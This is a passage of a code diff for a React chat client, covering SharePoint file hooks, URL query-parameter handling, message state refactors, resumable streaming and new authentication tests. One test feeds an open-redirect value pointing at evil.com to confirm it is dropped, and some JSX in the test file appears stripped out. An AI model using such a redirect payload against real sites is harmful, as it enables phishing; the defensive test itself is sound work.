+ const fileArray = Array.from(downloadedFiles);
+ await handleFiles(fileArray, props?.toolResource);
+ },
+ onError: (error) => {
+ console.error('SharePoint download failed:', error);
+ },
+ },
+ );
+
+ const handleSharePointFiles = useCallback(
+ async (sharePointFiles: SharePointFile[]) => {
+ try {
+ await downloadSharePointFiles(sharePointFiles);
+ } catch (error) {
+ console.error('SharePoint file handling error:', error);
+ throw error;
+ }
+ },
+ [downloadSharePointFiles],
+ );
+
+ return {
+ handleSharePointFiles,
+ isProcessing: isDownloading,
+ downloadProgress,
+ error,
+ };
+}
+
+export function useSharePointFileHandlingNoChatContext(
+ props: UseSharePointFileHandlingProps | undefined,
+ fileState: FileHandlingState,
+): UseSharePointFileHandlingReturn {
+ const { handleFiles } = useFileHandlingNoChatContext(props, fileState);
const { downloadSharePointFiles, isDownloading, downloadProgress, error } = useSharePointDownload(
{
diff --git a/client/src/hooks/Input/useQueryParams.spec.ts b/client/src/hooks/Input/useQueryParams.spec.ts
index 927df94941..f8b30b2eda 100644
--- a/client/src/hooks/Input/useQueryParams.spec.ts
+++ b/client/src/hooks/Input/useQueryParams.spec.ts
@@ -220,9 +220,14 @@ describe('useQueryParams', () => {
handleSubmit: jest.fn((callback) => () => callback({ text: 'test message' })),
});
- // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
- getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
+ getQueryData: jest.fn().mockImplementation((key) => {
+ const k = Array.isArray(key) ? key[0] : key;
+ if (k === 'startupConfig') {
+ return { modelSpecs: { list: [] } };
+ }
+ return null;
+ }),
});
setUrlParams({ q: 'hello world' });
@@ -241,7 +246,11 @@ describe('useQueryParams', () => {
'hello world',
expect.objectContaining({ shouldValidate: true }),
);
- expect(window.history.replaceState).toHaveBeenCalled();
+ const mockSetSearchParams = (useSearchParams as jest.Mock).mock.results[0].value[1];
+ const [params, options] = mockSetSearchParams.mock.calls[0];
+ expect(params).toBeInstanceOf(URLSearchParams);
+ expect(params.toString()).toBe('');
+ expect(options).toEqual(expect.objectContaining({ replace: true }));
});
it('should auto-submit message when submit=true and no settings to apply', () => {
@@ -266,9 +275,14 @@ describe('useQueryParams', () => {
submitMessage: mockSubmitMessage,
});
- // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
- getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
+ getQueryData: jest.fn().mockImplementation((key) => {
+ const k = Array.isArray(key) ? key[0] : key;
+ if (k === 'startupConfig') {
+ return { modelSpecs: { list: [] } };
+ }
+ return null;
+ }),
});
setUrlParams({ q: 'hello world', submit: 'true' });
@@ -304,13 +318,14 @@ describe('useQueryParams', () => {
} as unknown as HTMLTextAreaElement,
};
- // Mock getQueryData to return array format for startupConfig
+ // Mock getQueryData to return array format for startupConfig and endpoints
const mockGetQueryData = jest.fn().mockImplementation((key) => {
- if (Array.isArray(key) && key[0] === 'startupConfig') {
+ const k = Array.isArray(key) ? key[0] : key;
+ if (k === 'startupConfig') {
return { modelSpecs: { list: [] } };
}
- if (key === 'startupConfig') {
- return { modelSpecs: { list: [] } };
+ if (k === 'endpoints') {
+ return {};
}
return null;
});
@@ -396,14 +411,15 @@ describe('useQueryParams', () => {
newConversation: mockNewConversation,
});
- // Mock startup config to allow processing
+ // Mock startup config and endpoints to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
getQueryData: jest.fn().mockImplementation((key) => {
- if (Array.isArray(key) && key[0] === 'startupConfig') {
+ const k = Array.isArray(key) ? key[0] : key;
+ if (k === 'startupConfig') {
return { modelSpecs: { list: [] } };
}
- if (key === 'startupConfig') {
- return { modelSpecs: { list: [] } };
+ if (k === 'endpoints') {
+ return {};
}
return null;
}),
@@ -454,9 +470,14 @@ describe('useQueryParams', () => {
submitMessage: mockSubmitMessage,
});
- // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
- getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
+ getQueryData: jest.fn().mockImplementation((key) => {
+ const k = Array.isArray(key) ? key[0] : key;
+ if (k === 'startupConfig') {
+ return { modelSpecs: { list: [] } };
+ }
+ return null;
+ }),
});
setUrlParams({ model: 'gpt-4' }); // No submit=true
@@ -500,9 +521,14 @@ describe('useQueryParams', () => {
submitMessage: mockSubmitMessage,
});
- // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
- getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
+ getQueryData: jest.fn().mockImplementation((key) => {
+ const k = Array.isArray(key) ? key[0] : key;
+ if (k === 'startupConfig') {
+ return { modelSpecs: { list: [] } };
+ }
+ return null;
+ }),
});
setUrlParams({}); // Empty params
@@ -524,6 +550,10 @@ describe('useQueryParams', () => {
expect(mockSetValue).not.toHaveBeenCalled();
expect(mockHandleSubmit).not.toHaveBeenCalled();
expect(mockSubmitMessage).not.toHaveBeenCalled();
- expect(window.history.replaceState).toHaveBeenCalled();
+ const mockSetSearchParams = (useSearchParams as jest.Mock).mock.results[0].value[1];
+ const [params, options] = mockSetSearchParams.mock.calls[0];
+ expect(params).toBeInstanceOf(URLSearchParams);
+ expect(params.toString()).toBe('');
+ expect(options).toEqual(expect.objectContaining({ replace: true }));
});
});
diff --git a/client/src/hooks/Input/useQueryParams.ts b/client/src/hooks/Input/useQueryParams.ts
index 7c9ff58042..b29f408a3a 100644
--- a/client/src/hooks/Input/useQueryParams.ts
+++ b/client/src/hooks/Input/useQueryParams.ts
@@ -2,24 +2,17 @@ import { useEffect, useCallback, useRef } from 'react';
import { useRecoilValue } from 'recoil';
import { useSearchParams } from 'react-router-dom';
import { QueryClient, useQueryClient } from '@tanstack/react-query';
-import {
- QueryKeys,
- EModelEndpoint,
- isAgentsEndpoint,
- tQueryParamsSchema,
- isAssistantsEndpoint,
- PermissionBits,
-} from 'librechat-data-provider';
+import { QueryKeys, EModelEndpoint, PermissionBits } from 'librechat-data-provider';
import type {
AgentListResponse,
TEndpointsConfig,
TStartupConfig,
TPreset,
} from 'librechat-data-provider';
-import type { ZodAny } from 'zod';
import {
clearModelForNonEphemeralAgent,
removeUnavailableTools,
+ processValidSettings,
getModelSpecIconURL,
getConvoSwitchLogic,
logger,
@@ -29,62 +22,6 @@ import { useChatContext, useChatFormContext } from '~/Providers';
import { useGetAgentByIdQuery } from '~/data-provider';
import store from '~/store';
-/**
- * Parses query parameter values, converting strings to their appropriate types.
- * Handles boolean strings, numbers, and preserves regular strings.
- */
-const parseQueryValue = (value: string) => {
- if (value === 'true') {
- return true;
- }
- if (value === 'false') {
- return false;
- }
- if (!isNaN(Number(value))) {
- return Number(value);
- }
- return value;
-};
-
-/**
- * Processes and validates URL query parameters using schema definitions.
- * Extracts valid settings based on tQueryParamsSchema and handles special endpoint cases
- * for assistants and agents.
- */
-const processValidSettings = (queryParams: Record) => {
- const validSettings = {} as TPreset;
-
- Object.entries(queryParams).forEach(([key, value]) => {
- try {
- const schema = tQueryParamsSchema.shape[key] as ZodAny | undefined;
- if (schema) {
- const parsedValue = parseQueryValue(value);
- const validValue = schema.parse(parsedValue);
- validSettings[key] = validValue;
- }
- } catch (error) {
- console.warn(`Invalid value for setting ${key}:`, error);
- }
- });
-
- if (
- validSettings.assistant_id != null &&
- validSettings.assistant_id &&
- !isAssistantsEndpoint(validSettings.endpoint)
- ) {
- validSettings.endpoint = EModelEndpoint.assistants;
- }
- if (
- validSettings.agent_id != null &&
- validSettings.agent_id &&
- !isAgentsEndpoint(validSettings.endpoint)
- ) {
- validSettings.endpoint = EModelEndpoint.agents;
- }
-
- return validSettings;
-};
-
const injectAgentIntoAgentsMap = (queryClient: QueryClient, agent: any) => {
const editCacheKey = [QueryKeys.agents, { requiredPermission: PermissionBits.EDIT }];
const editCache = queryClient.getQueryData(editCacheKey);
@@ -244,13 +181,12 @@ export default function useQueryParams({
],
);
- /**
- * Checks if all settings from URL parameters have been successfully applied to the conversation.
- * Compares values from validSettings against the current conversation state, handling special properties.
- * Returns true only when all relevant settings match the target values.
- */
+ const conversationRef = useRef(conversation);
+ conversationRef.current = conversation;
+
const areSettingsApplied = useCallback(() => {
- if (!validSettingsRef.current || !conversation) {
+ const convo = conversationRef.current;
+ if (!validSettingsRef.current || !convo) {
return false;
}
@@ -259,13 +195,13 @@ export default function useQueryParams({
continue;
}
- if (conversation[key] !== value) {
+ if (convo[key] !== value) {
return false;
}
}
return true;
- }, [conversation]);
+ }, []);
/**
* Processes message submission exactly once, preventing duplicate submissions.
@@ -285,14 +221,12 @@ export default function useQueryParams({
methods.handleSubmit((data) => {
if (data.text?.trim()) {
submitMessage(data);
-
- const newUrl = window.location.pathname;
- window.history.replaceState({}, '', newUrl);
-
- console.log('Message submitted with conversation state:', conversation);
+ logger.log('conversation', 'Message submitted from query params');
}
})();
- }, [methods, submitMessage, conversation]);
+
+ setSearchParams(new URLSearchParams(), { replace: true });
+ }, [methods, submitMessage, setSearchParams]);
useEffect(() => {
const processQueryParams = () => {
@@ -332,6 +266,7 @@ export default function useQueryParams({
}
const { decodedPrompt, validSettings, shouldAutoSubmit } = processQueryParams();
+ const hasSettings = Object.keys(validSettings).length > 0;
if (!shouldAutoSubmit) {
submissionHandledRef.current = true;
@@ -339,45 +274,36 @@ export default function useQueryParams({
/** Mark processing as complete and clean up as needed */
const success = () => {
- const paramString = searchParams.toString();
- const currentParams = new URLSearchParams(paramString);
- currentParams.delete('prompt');
- currentParams.delete('q');
- currentParams.delete('submit');
-
- setSearchParams(currentParams, { replace: true });
processedRef.current = true;
- console.log('Parameters processed successfully', paramString);
+ logger.log('conversation', 'Query parameters processed successfully');
clearInterval(intervalId);
- // Only clean URL if there's no pending submission
+ // Defer URL cleanup until after submission completes (processSubmission handles it)
if (!pendingSubmitRef.current) {
- const newUrl = window.location.pathname;
- window.history.replaceState({}, '', newUrl);
+ setSearchParams(new URLSearchParams(), { replace: true });
}
};
- // Store settings for later comparison
- if (Object.keys(validSettings).length > 0) {
+ if (hasSettings) {
validSettingsRef.current = validSettings;
}
- // Save the prompt text for later use if needed
if (decodedPrompt) {
promptTextRef.current = decodedPrompt;
}
// Handle auto-submission
if (shouldAutoSubmit && decodedPrompt) {
- if (Object.keys(validSettings).length > 0) {
+ if (hasSettings) {
// Settings are changing, defer submission
pendingSubmitRef.current = true;
// Set a timeout to handle the case where settings might never fully apply
settingsTimeoutRef.current = setTimeout(() => {
if (!submissionHandledRef.current && pendingSubmitRef.current) {
- console.warn(
- 'Settings application timeout reached, proceeding with submission anyway',
+ logger.log(
+ 'conversation',
+ 'Settings application timeout, proceeding with submission',
);
processSubmission();
}
@@ -401,7 +327,7 @@ export default function useQueryParams({
submissionHandledRef.current = true;
}
- if (Object.keys(validSettings).length > 0) {
+ if (hasSettings && !areSettingsApplied()) {
newQueryConvo(validSettings);
}
@@ -424,6 +350,7 @@ export default function useQueryParams({
setSearchParams,
queryClient,
processSubmission,
+ areSettingsApplied,
]);
useEffect(() => {
@@ -438,9 +365,7 @@ export default function useQueryParams({
return;
}
- const allSettingsApplied = areSettingsApplied();
-
- if (allSettingsApplied) {
+ if (areSettingsApplied()) {
settingsAppliedRef.current = true;
if (pendingSubmitRef.current) {
@@ -449,7 +374,7 @@ export default function useQueryParams({
settingsTimeoutRef.current = null;
}
- console.log('Settings fully applied, processing submission');
+ logger.log('conversation', 'Settings fully applied, processing submission');
processSubmission();
}
}
diff --git a/client/src/hooks/Input/useSelectMention.ts b/client/src/hooks/Input/useSelectMention.ts
index 731302ff0a..00ba5095bb 100644
--- a/client/src/hooks/Input/useSelectMention.ts
+++ b/client/src/hooks/Input/useSelectMention.ts
@@ -22,19 +22,19 @@ import store from '~/store';
export default function useSelectMention({
presets,
modelSpecs,
- conversation,
assistantsMap,
returnHandlers,
endpointsConfig,
+ getConversation,
newConversation,
}: {
- conversation: TConversation | null;
presets?: TPreset[];
modelSpecs: TModelSpec[];
+ returnHandlers?: boolean;
assistantsMap?: TAssistantsMap;
newConversation: ConvoGenerator;
endpointsConfig: TEndpointsConfig;
- returnHandlers?: boolean;
+ getConversation: () => TConversation | null;
}) {
const getDefaultConversation = useDefaultConvo();
const modularChat = useRecoilValue(store.modularChat);
@@ -45,6 +45,8 @@ export default function useSelectMention({
if (!spec) {
return;
}
+
+ const conversation = getConversation();
const { preset } = spec;
preset.iconURL = getModelSpecIconURL(spec);
preset.spec = spec.name;
@@ -110,7 +112,7 @@ export default function useSelectMention({
});
},
[
- conversation,
+ getConversation,
getDefaultConversation,
modularChat,
newConversation,
@@ -133,6 +135,8 @@ export default function useSelectMention({
return;
}
+ const conversation = getConversation();
+
const {
shouldSwitch,
isNewModular,
@@ -202,7 +206,7 @@ export default function useSelectMention({
keepAddedConvos: isNewModular,
});
},
- [conversation, getDefaultConversation, modularChat, newConversation, endpointsConfig],
+ [getConversation, getDefaultConversation, modularChat, newConversation, endpointsConfig],
);
const onSelectPreset = useCallback(
@@ -211,6 +215,8 @@ export default function useSelectMention({
return;
}
+ const conversation = getConversation();
+
const newPreset = removeUnavailableTools(_newPreset, availableTools);
const newEndpoint = newPreset.endpoint ?? '';
@@ -266,7 +272,7 @@ export default function useSelectMention({
},
[
modularChat,
- conversation,
+ getConversation,
availableTools,
newConversation,
endpointsConfig,
diff --git a/client/src/hooks/Input/useTextarea.ts b/client/src/hooks/Input/useTextarea.ts
index 4eae002430..15b415dabc 100644
--- a/client/src/hooks/Input/useTextarea.ts
+++ b/client/src/hooks/Input/useTextarea.ts
@@ -42,8 +42,8 @@ export default function useTextarea({
const checkHealth = useInteractionHealthCheck();
const enterToSend = useRecoilValue(store.enterToSend);
- const { index, conversation, isSubmitting, filesLoading, latestMessage, setFilesLoading } =
- useChatContext();
+ const { index, conversation, isSubmitting, filesLoading, setFilesLoading } = useChatContext();
+ const latestMessage = useRecoilValue(store.latestMessageFamily(index));
const [activePrompt, setActivePrompt] = useRecoilState(store.activePromptByIndex(index));
const { endpoint = '' } = conversation || {};
diff --git a/client/src/hooks/Mermaid/useMermaid.ts b/client/src/hooks/Mermaid/useMermaid.ts
index 26e195e401..31957dce36 100644
--- a/client/src/hooks/Mermaid/useMermaid.ts
+++ b/client/src/hooks/Mermaid/useMermaid.ts
@@ -1,9 +1,10 @@
import { useContext, useMemo, useState } from 'react';
-import DOMPurify from 'dompurify';
import useSWR from 'swr';
import { Md5 } from 'ts-md5';
+import DOMPurify from 'dompurify';
import { ThemeContext, isDark } from '@librechat/client';
import type { MermaidConfig } from 'mermaid';
+import { inlineFlowchartConfig } from '~/utils/mermaid';
// Constants
const MD5_LENGTH_THRESHOLD = 10_000;
@@ -85,12 +86,12 @@ export const useMermaid = ({
return {
startOnLoad: false,
theme: (customTheme as MermaidConfig['theme']) || defaultTheme,
- // Spread custom config but override security settings after
...config,
- // Security hardening - these MUST come last to prevent override
- securityLevel: 'strict', // Highest security: disables click, sanitizes text
- maxTextSize: config?.maxTextSize ?? 50000, // Limit text size to prevent DoS
- maxEdges: config?.maxEdges ?? 500, // Limit edges to prevent DoS
+ flowchart: { ...inlineFlowchartConfig, ...config?.flowchart, htmlLabels: false },
+ // Security hardening: MUST come after ...config spread to prevent override
+ securityLevel: 'strict',
+ maxTextSize: config?.maxTextSize ?? 50000,
+ maxEdges: config?.maxEdges ?? 500,
};
}, [customTheme, isDarkMode, config]);
diff --git a/client/src/hooks/Messages/useMessageActions.tsx b/client/src/hooks/Messages/useMessageActions.tsx
index c168b16d6e..e8946b895b 100644
--- a/client/src/hooks/Messages/useMessageActions.tsx
+++ b/client/src/hooks/Messages/useMessageActions.tsx
@@ -31,8 +31,16 @@ export default function useMessageActions(props: TMessageActions) {
const UsernameDisplay = useRecoilValue(store.UsernameDisplay);
const { message, currentEditId, setCurrentEditId, searchResults } = props;
- const { ask, index, regenerate, isSubmitting, conversation, latestMessage, handleContinue } =
- useChatContext();
+ const {
+ ask,
+ index,
+ regenerate,
+ isSubmitting,
+ conversation,
+ latestMessageId,
+ latestMessageDepth,
+ handleContinue,
+ } = useChatContext();
const getAddedConvo = useGetAddedConvo();
@@ -154,10 +162,11 @@ export default function useMessageActions(props: TMessageActions) {
enterEdit,
conversation,
messageLabel,
- latestMessage,
handleFeedback,
handleContinue,
copyToClipboard,
+ latestMessageId,
regenerateMessage,
+ latestMessageDepth,
};
}
diff --git a/client/src/hooks/Messages/useMessageHelpers.tsx b/client/src/hooks/Messages/useMessageHelpers.tsx
index 0ecf5c684a..0453e4a49c 100644
--- a/client/src/hooks/Messages/useMessageHelpers.tsx
+++ b/client/src/hooks/Messages/useMessageHelpers.tsx
@@ -17,9 +17,9 @@ export default function useMessageHelpers(props: TMessageProps) {
regenerate,
isSubmitting,
conversation,
- latestMessage,
setAbortScroll,
handleContinue,
+ latestMessageId,
setLatestMessage,
} = useMessagesViewContext();
const agentsMap = useAgentsMapContext();
@@ -141,8 +141,8 @@ export default function useMessageHelpers(props: TMessageProps) {
conversation,
isSubmitting,
handleScroll,
- latestMessage,
handleContinue,
+ latestMessageId,
copyToClipboard,
regenerateMessage,
};
diff --git a/client/src/hooks/Messages/useSubmitMessage.ts b/client/src/hooks/Messages/useSubmitMessage.ts
index fcf92d3eef..d924e3b987 100644
--- a/client/src/hooks/Messages/useSubmitMessage.ts
+++ b/client/src/hooks/Messages/useSubmitMessage.ts
@@ -9,7 +9,8 @@ export default function useSubmitMessage() {
const { user } = useAuthContext();
const methods = useChatFormContext();
const { conversation: addedConvo } = useAddedChatContext();
- const { ask, index, getMessages, setMessages, latestMessage } = useChatContext();
+ const { ask, index, getMessages, setMessages } = useChatContext();
+ const latestMessage = useRecoilValue(store.latestMessageFamily(index));
const autoSendPrompts = useRecoilValue(store.autoSendPrompts);
const setActivePrompt = useSetRecoilState(store.activePromptByIndex(index));
diff --git a/client/src/hooks/SSE/useEventHandlers.ts b/client/src/hooks/SSE/useEventHandlers.ts
index 9f809bd6c1..325ee97315 100644
--- a/client/src/hooks/SSE/useEventHandlers.ts
+++ b/client/src/hooks/SSE/useEventHandlers.ts
@@ -526,6 +526,23 @@ export default function useEventHandlers({
} else if (requestMessage != null && responseMessage != null) {
finalMessages = [...messages, requestMessage, responseMessage];
}
+
+ /* Preserve files from current messages when server response lacks them */
+ if (finalMessages.length > 0) {
+ const currentMsgMap = new Map(
+ currentMessages
+ .filter((m) => m.files && m.files.length > 0)
+ .map((m) => [m.messageId, m.files]),
+ );
+ for (let i = 0; i < finalMessages.length; i++) {
+ const msg = finalMessages[i];
+ const preservedFiles = currentMsgMap.get(msg.messageId);
+ if (msg.files == null && preservedFiles) {
+ finalMessages[i] = { ...msg, files: preservedFiles };
+ }
+ }
+ }
+
if (finalMessages.length > 0) {
setFinalMessages(conversation.conversationId, finalMessages);
} else if (
diff --git a/client/src/hooks/SSE/useResumableSSE.ts b/client/src/hooks/SSE/useResumableSSE.ts
index 831bf042ad..4d4cb4841a 100644
--- a/client/src/hooks/SSE/useResumableSSE.ts
+++ b/client/src/hooks/SSE/useResumableSSE.ts
@@ -226,12 +226,12 @@ export default function useResumableSSE(
if (data.sync != null) {
console.log('[ResumableSSE] SYNC received', {
runSteps: data.resumeState?.runSteps?.length ?? 0,
+ pendingEvents: data.pendingEvents?.length ?? 0,
});
const runId = v4();
setActiveRunId(runId);
- // Replay run steps
if (data.resumeState?.runSteps) {
for (const runStep of data.resumeState.runSteps) {
stepHandler({ event: 'on_run_step', data: runStep }, {
@@ -241,19 +241,15 @@ export default function useResumableSSE(
}
}
- // Set message content from aggregatedContent
if (data.resumeState?.aggregatedContent && userMessage?.messageId) {
const messages = getMessages() ?? [];
const userMsgId = userMessage.messageId;
const serverResponseId = data.resumeState.responseMessageId;
- // Find the EXACT response message - prioritize responseMessageId from server
- // This is critical when there are multiple responses to the same user message
let responseIdx = -1;
if (serverResponseId) {
responseIdx = messages.findIndex((m) => m.messageId === serverResponseId);
}
- // Fallback: find by parentMessageId pattern (for new messages)
if (responseIdx < 0) {
responseIdx = messages.findIndex(
(m) =>
@@ -272,7 +268,6 @@ export default function useResumableSSE(
});
if (responseIdx >= 0) {
- // Update existing response message with aggregatedContent
const updated = [...messages];
const oldContent = updated[responseIdx]?.content;
updated[responseIdx] = {
@@ -285,25 +280,34 @@ export default function useResumableSSE(
newContentLength: data.resumeState.aggregatedContent?.length,
});
setMessages(updated);
- // Sync both content handler and step handler with the updated message
- // so subsequent deltas build on synced content, not stale content
resetContentHandler();
syncStepMessage(updated[responseIdx]);
console.log('[ResumableSSE] SYNC complete, handlers synced');
} else {
- // Add new response message
const responseId = serverResponseId ?? `${userMsgId}_`;
- setMessages([
- ...messages,
- {
- messageId: responseId,
- parentMessageId: userMsgId,
- conversationId: currentSubmission.conversation?.conversationId ?? '',
- text: '',
- content: data.resumeState.aggregatedContent,
- isCreatedByUser: false,
- } as TMessage,
- ]);
+ const newMessage = {
+ messageId: responseId,
+ parentMessageId: userMsgId,
+ conversationId: currentSubmission.conversation?.conversationId ?? '',
+ text: '',
+ content: data.resumeState.aggregatedContent,
+ isCreatedByUser: false,
+ } as TMessage;
+ setMessages([...messages, newMessage]);
+ resetContentHandler();
+ syncStepMessage(newMessage);
+ }
+ }
+
+ if (data.pendingEvents?.length > 0) {
+ console.log(`[ResumableSSE] Replaying ${data.pendingEvents.length} pending events`);
+ const submission = { ...currentSubmission, userMessage } as EventSubmission;
+ for (const pendingEvent of data.pendingEvents) {
+ if (pendingEvent.event != null) {
+ stepHandler(pendingEvent, submission);
+ } else if (pendingEvent.type != null) {
+ contentHandler({ data: pendingEvent, submission });
+ }
}
}
diff --git a/client/src/hooks/__tests__/AuthContext.spec.tsx b/client/src/hooks/__tests__/AuthContext.spec.tsx
new file mode 100644
index 0000000000..10a0ee3340
--- /dev/null
+++ b/client/src/hooks/__tests__/AuthContext.spec.tsx
@@ -0,0 +1,447 @@
+/**
+ * @jest-environment @happy-dom/jest-environment
+ */
+import React from 'react';
+import { render, act } from '@testing-library/react';
+import { RecoilRoot } from 'recoil';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { MemoryRouter } from 'react-router-dom';
+
+import type { TAuthConfig } from '~/common';
+
+import { AuthContextProvider, useAuthContext } from '../AuthContext';
+import { SESSION_KEY } from '~/utils';
+
+const mockNavigate = jest.fn();
+jest.mock('react-router-dom', () => ({
+ ...jest.requireActual('react-router-dom'),
+ useNavigate: () => mockNavigate,
+}));
+
+const mockApiBaseUrl = jest.fn(() => '');
+
+jest.mock('librechat-data-provider', () => ({
+ ...jest.requireActual('librechat-data-provider'),
+ setTokenHeader: jest.fn(),
+ apiBaseUrl: () => mockApiBaseUrl(),
+}));
+
+let mockCapturedLoginOptions: {
+ onSuccess: (...args: unknown[]) => void;
+ onError: (...args: unknown[]) => void;
+};
+
+let mockCapturedLogoutOptions: {
+ onSuccess: (...args: unknown[]) => void;
+ onError: (...args: unknown[]) => void;
+};
+
+const mockRefreshMutate = jest.fn();
+
+jest.mock('~/data-provider', () => ({
+ useLoginUserMutation: jest.fn(
+ (options: {
+ onSuccess: (...args: unknown[]) => void;
+ onError: (...args: unknown[]) => void;
+ }) => {
+ mockCapturedLoginOptions = options;
+ return { mutate: jest.fn() };
+ },
+ ),
+ useLogoutUserMutation: jest.fn(
+ (options: {
+ onSuccess: (...args: unknown[]) => void;
+ onError: (...args: unknown[]) => void;
+ }) => {
+ mockCapturedLogoutOptions = options;
+ return { mutate: jest.fn() };
+ },
+ ),
+ useRefreshTokenMutation: jest.fn(() => ({ mutate: mockRefreshMutate })),
+ useGetUserQuery: jest.fn(() => ({
+ data: undefined,
+ isError: false,
+ error: null,
+ })),
+ useGetRole: jest.fn(() => ({ data: null })),
+}));
+
+const authConfig: TAuthConfig = { loginRedirect: '/login', test: true };
+
+function TestConsumer() {
+ const ctx = useAuthContext();
+ return
;
+}
+
+function renderProvider() {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+ });
+
+ return render(
+
+
+
+
+
+
+
+
+ ,
+ );
+}
+
+/** Renders without test:true so silentRefresh actually runs */
+function renderProviderLive() {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+ });
+
+ return render(
+
+
+
+
+
+
+
+
+ ,
+ );
+}
+
+describe('AuthContextProvider — login onError redirect handling', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ window.history.replaceState({}, '', '/login');
+ });
+
+ afterEach(() => {
+ window.history.replaceState({}, '', '/');
+ });
+
+ it('preserves a valid redirect_to param across login failure', () => {
+ window.history.replaceState({}, '', '/login?redirect_to=%2Fc%2Fabc123');
+
+ renderProvider();
+
+ act(() => {
+ mockCapturedLoginOptions.onError({ message: 'Invalid credentials' });
+ });
+
+ expect(mockNavigate).toHaveBeenCalledWith('/login?redirect_to=%2Fc%2Fabc123', {
+ replace: true,
+ });
+ });
+
+ it('drops redirect_to when it contains an absolute URL (open-redirect prevention)', () => {
+ window.history.replaceState({}, '', '/login?redirect_to=https%3A%2F%2Fevil.com');
+
+ renderProvider();
+
+ act(() => {
+ mockCapturedLoginOptions.onError({ message: 'Invalid credentials' });
+ });
+
+ expect(mockNavigate).toHaveBeenCalledWith('/login', { replace: true });
+ });
+
+ it('drops redirect_to when it points to /login (recursive redirect prevention)', () => {
+ window.history.replaceState({}, '', '/login?redirect_to=%2Flogin');
+
+ renderProvider();
+
+ act(() => {
+ mockCapturedLoginOptions.onError({ message: 'Invalid credentials' });
+ });
+
+ expect(mockNavigate).toHaveBeenCalledWith('/login', { replace: true });
+ });
+
+ it('navigates to plain /login when no redirect_to param exists', () => {
+ renderProvider();
+
+ act(() => {
+ mockCapturedLoginOptions.onError({ message: 'Server error' });
+ });
+
+ expect(mockNavigate).toHaveBeenCalledWith('/login', { replace: true });
+ });
+
+ it('preserves redirect_to with query params and hash', () => {
+ const target = '/c/abc123?model=gpt-4#section';
+ window.history.replaceState({}, '', `/login?redirect_to=${encodeURIComponent(target)}`);
+
+ renderProvider();
+
+ act(() => {
+ mockCapturedLoginOptions.onError({ message: 'Invalid credentials' });
+ });
+
+ const navigatedUrl = mockNavigate.mock.calls[0][0] as string;
+ const params = new URLSearchParams(navigatedUrl.split('?')[1]);
+ expect(decodeURIComponent(params.get('redirect_to')!)).toBe(target);
+ });
+});
+
+describe('AuthContextProvider — logout onSuccess/onError handling', () => {
+ const mockSetTokenHeader = jest.requireMock('librechat-data-provider').setTokenHeader;
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ window.history.replaceState({}, '', '/c/some-chat');
+ });
+
+ afterEach(() => {
+ window.history.replaceState({}, '', '/');
+ });
+
+ it('calls window.location.replace and setTokenHeader(undefined) when redirect is present', () => {
+ const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {});
+
+ renderProvider();
+
+ act(() => {
+ mockCapturedLogoutOptions.onSuccess({
+ message: 'Logout successful',
+ redirect: 'https://idp.example.com/logout?id_token_hint=abc',
+ });
+ });
+
+ expect(replaceSpy).toHaveBeenCalledWith('https://idp.example.com/logout?id_token_hint=abc');
+ expect(mockSetTokenHeader).toHaveBeenCalledWith(undefined);
+ });
+
+ it('does not call window.location.replace when redirect is absent', async () => {
+ const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {});
+
+ renderProvider();
+
+ act(() => {
+ mockCapturedLogoutOptions.onSuccess({ message: 'Logout successful' });
+ });
+
+ expect(replaceSpy).not.toHaveBeenCalled();
+ });
+
+ it('does not trigger silentRefresh after OIDC redirect', () => {
+ const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {});
+
+ renderProviderLive();
+ mockRefreshMutate.mockClear();
+
+ act(() => {
+ mockCapturedLogoutOptions.onSuccess({
+ message: 'Logout successful',
+ redirect: 'https://idp.example.com/logout?id_token_hint=abc',
+ });
+ });
+
+ expect(replaceSpy).toHaveBeenCalled();
+ expect(mockRefreshMutate).not.toHaveBeenCalled();
+ });
+});
+
+describe('AuthContextProvider — silentRefresh post-login redirect', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ sessionStorage.clear();
+ });
+
+ afterEach(() => {
+ sessionStorage.clear();
+ window.history.replaceState({}, '', '/');
+ });
+
+ it('navigates to stored sessionStorage redirect after successful token refresh', () => {
+ jest.useFakeTimers();
+ sessionStorage.setItem(SESSION_KEY, '/c/new?endpoint=bedrock&model=claude-sonnet-4-6');
+
+ renderProviderLive();
+
+ expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
+ const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
+ unknown,
+ { onSuccess: (data: unknown) => void },
+ ];
+
+ act(() => {
+ refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
+ });
+ act(() => {
+ jest.advanceTimersByTime(100);
+ });
+
+ expect(mockNavigate).toHaveBeenCalledWith('/c/new?endpoint=bedrock&model=claude-sonnet-4-6', {
+ replace: true,
+ });
+ expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+ jest.useRealTimers();
+ });
+
+ it('navigates to current URL when no stored redirect exists', () => {
+ jest.useFakeTimers();
+ window.history.replaceState({}, '', '/c/new');
+
+ renderProviderLive();
+
+ expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
+ const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
+ unknown,
+ { onSuccess: (data: unknown) => void },
+ ];
+
+ act(() => {
+ refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
+ });
+ act(() => {
+ jest.advanceTimersByTime(100);
+ });
+
+ expect(mockNavigate).toHaveBeenCalledWith('/c/new', { replace: true });
+ jest.useRealTimers();
+ });
+
